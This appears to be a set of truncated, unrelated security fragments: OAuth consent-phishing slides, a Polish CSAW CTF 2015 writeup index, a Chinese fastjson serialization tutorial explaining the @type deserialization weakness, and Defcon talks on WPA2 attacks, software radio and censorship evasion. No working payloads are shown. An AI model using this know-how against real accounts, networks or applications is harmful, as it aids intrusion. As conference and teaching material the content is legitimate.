(domain/URLs/certs) sender reputation link analysis (domain/URLs/certs) content inspection (creds) Phishing Evolution: OAuth 2.0 auth code grant[1] +cloud app authorization Application (client, device) User Azure AD Google Identity Identity Platform 1 2 3 Authenticate and Authorize Authenticate (MFA) Authorize permissions (scopes) OAuth Tokens access token refresh token Request Authorization Request permissions (scopes) Redirect user to Identity Platform (authorization service) [1] https://datatracker.ietf.org/doc/html/rfc6749#page-24 Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: Payments Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: Payments Phishing Evolution: OAuth 2.0 auth code grant +cl


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# Writeup CSAW CTF 2015 Uczestniczyliśmy (msm, Rev, Shalom, other019 i nazywam) w CSAW CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy). insert lanie_wody into writeup; Ogólne wrażnia: Konkurs miał kilka ciekawych zadań, ale jednak troche odbiegał od tego czego można oczekiwać po ctf'ie z prawdziwego zdarzenia. Niektóre zadania opierały się na zgadywaniu tego co autorzy mieli na myśli, w szczególności notesy i airport. insert lanie_wody into writeup; A teraz opisy zadań po kolei. # Spis treści: * web 100 K_{Stairs} * [Lawn Care Simulator (web 200)](web_200_lawn_care_simulator) * [precision (exploit 100)](pwn_100_precision) * [FTP 2 (exploit 300)](pwn_300_ftp2) * memeshop (exploit 400) * [rhinoxorus (exploit 500)](pwn_500_rhinoxorus) * [ones_and_zer0es (crypto 50)](crypto_50_ones_and_zer0es) * [whiter0se (crypto 50)](crypto_50_wh1ter0se) * [zer0-day (crypto 50)](crypto_50_zer0_day) * [notesy (crypto 100)](crypto_100_notesy) * [Hacking Time (reversing 200)](re_200_hacking_time) * [FTP (reversing 300)](re_300_ftp) * [wyvern (reversing 500)](re_500_wyvern) * [Keep Calm and CTF (forensics 100)](forensics_100_keep_calm_and_ctf) * [Transfer (forensics 100)](forensics_100_transfer) * [Flash (forensics 100)](forensics_100_flash) * [pcapin (forensics 150)](forensics_150_pcapin) * [airport (forensics 200)](forensics_200_airport) * [sharpturn (forensics 400)](forensics_400_sharpturn) * [Julian Cohen (recon 100)](recon_100_julian_cohen) * [Alexander Taylor (recon 100)](recon_100_alexander_taylor) * [Trivia 1 (trivia 10)](trivia_trivia_1) * [Trivia 2 (trivia 10)](trivia_trivia_2) * [Trivia 3 (trivia 10)](trivia_trivia_3) * [Trivia 4 (trivia 10)](trivia_trivia_4) * [Trivia 5 (trivia 10)](trivia_trivia_5) * [Math aside, we are all black hats Now (trivia 10)](trivia_10_black_hat) Zadania niedokończone: * [Weebdate (web 500)](web_500_weebdate) # Zakończenie insert into writeup(content) values lanie_wody; Zachęcamy do komentarzy/pytań


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S-fastjson fastjson的使用 实体类 package fastjson.example.use; import java.util.Map; public class User { private String name; private int age; private Map hashMap; @Override public String toString() { return "User{" + "name='" + name + '\'' + ", age=" + age + ", hashMap=" + hashMap + '}'; } public User(String name, int age, Map hashMap) { this.name = name; this.age = age; this.hashMap = hashMap; } public User() { } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Map getHashMap() { return hashMap; } public void setHashMap(Map hashMap) { 序列化 在调用 toJSONString 方法的时候参数里面多了一个 SerializerFeature.WriteClassName 方 法传入 SerializerFeature.WriteClassName 可以使得 Fastjson 支持自省开启自省后序列 化成 JSON 的数据就会多一个 @type 这个是代表对象类型的 JSON 文本 FastJson 的漏洞就是 他的这一个功能去产生的在对该 JSON 数据进行反序列化的时候会去调用指定类中对于的 get/set/is 方法 后面会详细分析 反序列化 this.hashMap = hashMap; } } package fastjson.example.use; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; import java.util.HashMap; public class serialize { public static void main(String[] args) { String name="zhangsan"; int age=20; HashMap hashMap = new HashMap(); User user = new User(name, age, hashMap); String s = JSON.toJSONString(user); System.out.println(s); System.out.println("=================================="); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s1); } } /* {"age":20,"hashMap":{},"name":"zhangsan"} ================================== {"@type":"fastjson.example.use.User","age":20,"hashMap": {"@type":"java.util.HashMap"},"name":"zhangsan"} */ package fastjson.example.use; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import java.util.HashMap; public class unserialize { public static void main(String[] args) { String name="lisi"; int age=21; HashMap hashMap = n


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WPA TOO ! Md Sohail Ahmad AirTight Networks www.airtightnetworks.com About the Speaker 2007, Toorcon9 2009, Defcon 17 2008, Defcon 16 Caffe Latte Attack Autoimmunity Disorder in Wireless LANs WiFish Finder: Who will bite the bait? 2010, Defcon 18 WPA TOO ! Defcon 18 WPA2 is vulnerable under certain conditions. This limitation, though known to the designers of WPA2, is not well understood or appreciated by WiFi users. In this talk, I am going to show that exploits are possible using off the shelf tools with minor modifications. About the Talk Background WEP, the one and only security configuration present in the original 802.11 standard, was cracked in 2001. Since then several attacks on WEP have been published and demonstrated Nowadays most WLANs are secured with a much better and robust security protocol called WPA2. Interestingly, WPA2 is also being used to secure Guest WiFi, Municipal WiFi (e.g. GoogleWiFi Secure) and Public WiFi (e.g. T- Mobile or AT&T WiFi Hotspot) networks. Defcon 18 Is WPA2 safe to be used in WiFi networks? Defcon 18 2003 PSK Vulnerability 2004 PSK cracking tool, Eavesdropping 2008 TKIP Vulnerability PEAP Mis-config Vulnerability Known attacks on WPA/WPA2 Attack on Pre-Shared Key (PSK) Authentication Attack on 802.1x Authentication Attack on Encryption Implications: Eavesdropping Unauthorized Access to the network Implications: Client compromise Implications: Injection of small size frames to create disruption Defcon 18 1. Do not use PSK authentication in other than private/home network (Solves PSK Vulnerability) 2. Do not ignore certificate validation check in clients configuration (Solves Client Vulnerability) 3. Use AES encryption (Solves TKIP Vulnerability) Solution Is WPA2 safe to be used in WiFi networks? Defcon 18 Encryption in WPA2 Defcon 18 Encryption Keys Two types of key for data encryption 1. 1. Pairwise Key (PTK) 2. 2. Group Key (GTK) While PTK is used to protect unicast data frames , GTK is used to protect group addressed data f


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All Your RFz Are Belong to Me: Hacking the Wireless World with Software Defined Radio Balint Seeber balint@spench.net @spenchdotnet Notes and links in PDF comments on each slide Applications Engineer balint@ettus.com Overview  RF 101  The journey into Software Defined Radio  Hospital pager systems  Tracking planes  Decoding satellitedownlink traffic  Direction Finding The Electromagnetic Spectrum  Electromagnetism: one of four universal forces  Radio wave exists due to energy being propagated at a particular frequency  Can create and receive radio waves using electronics Transmitting Data  Radio (carrier) wave must be modulated to convey information Time Amplitude Transmitting Data  Radio (carrier) wave must be modulated to convey information  OOK (OnOff Keying)  Presence/absence of a signal  COFDM (Coded Orthogonal Frequency Division Multiplexing)  WiFi, DVB, DAB, WiMAX, UWB, 4G, ADSL, PLC Transmitting Data Information Modulator Carrier RF Hardware AM & FM: In the Time Domain Analog or digital information Constant frequency Constant amplitude In the Frequency Domain Time Amplitude for each frequency Frequency Modulation  Modulation technique defines how the signal will look on the spectrum AM FM C4FM Time Frequency Frequency Carrier Time Frequency Hardware  Crystal set receiver  Powerful AM transmissions Hardware  Crystal set receiver  Powerful AM transmissions Hardware  Crystal set receiver  Powerful AM transmissions  More advanced hardware to handle increasingly complex modulation schemes  FM, stereo FM, microwave, digital Modulation in Hardware  MOdulation and DEModulation traditionally performed in hardware  Black box implementation  Not reconfigurable  Modern digital hardware allows more flexibility Radyne Comstream DMD15 Satellite Modem The journey begins Genesis of RFMap GSM + Gammu + Wireshark Field Test Mode <1983> MDI:d2m/RSSI_RESULTS t=0afe nr=73: D 83: 00 00 b1 b1 00 65 ab a3 b1 a0 a0 a6 9d a1 80 a4 80 80 80 80 80 80 80 aa Geolocation with GSM RFNetMapp


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F.O.E. Feed Over Email A Proxy-less RSS Reader A Proxy-less RSS Reader http://code.google.com/p/foe-project By Sho Ho Broadcasting Board of Governors F.O.E. Who am I? Name: Sho Ho Job Title: Software Engineer Employer: Broadcasting Board of Governors Mother ship of Voice of America, Radio Free Europe/Radio Liberty, Radio Free Asia, Radio & TV Marti, etc. Liberty, Radio Free Asia, Radio & TV Marti, etc. Duties: Internet anti-censorship R&D; programming. Contact: ssho@bbg.gov F.O.E. The Big Challenge Facts: Countries censor the Internet and people cannot access indecent websites. Problem: Indecent may include Voice of Problem: Indecent may include Voice of America, CNN, BBC, etc. Challenge: How to bypass censorships? F.O.E. Offending Countries  Big offenders of Internet censorship:  Belarus, Burma, China, Cuba, Egypt, Ethiopia, Iran, North Korea, Saudi Arabia, Syria, Tunisia, Turkmenistan, Uzbekistan, Vietnam, Zimbabwe Turkmenistan, Uzbekistan, Vietnam, Zimbabwe  and minor offenders:  Australia, Bahrain, Belgium, Brazil, Canada, Chile, Czech Republic, Denmark, Fiji, Finland, France, Ghana, India, Ireland, Israel, Italy, Jordan, Maldives, Mexico, Morocco, Myanmar, Netherlands, Norway, Pakistan, Russia, Saudi Arabia, Singapore, South Korea, Sweden, Thailand, Turkey, United Arab Emirates, United Kingdom, Yemen, and USA (WTF?!!) F.O.E. Censorship Technologies  IP Address Filtering  Domain Name Blocking  Packet (Content/URL/Keyword) Filtering  DNS Hijacking  DNS Hijacking  Desktop monitoring software. E.g. Green Dam (made in China).  Any combination and/or variation of the above. New F.O.E. Anti-Censorship Technologies  Web-Based Proxy Servers  Client-Side Proxy Software  Pure Peer-to-Peer (P2P)  Email  Email  Monitoring software removal tools. F.O.E. Anti-Censorship Technologies  Web-Based Proxy Servers  Advantages:  Easy to deploy  No download required  Effective against most common forms of censorship  Effective against most common forms of censorship  Disadvantages:  L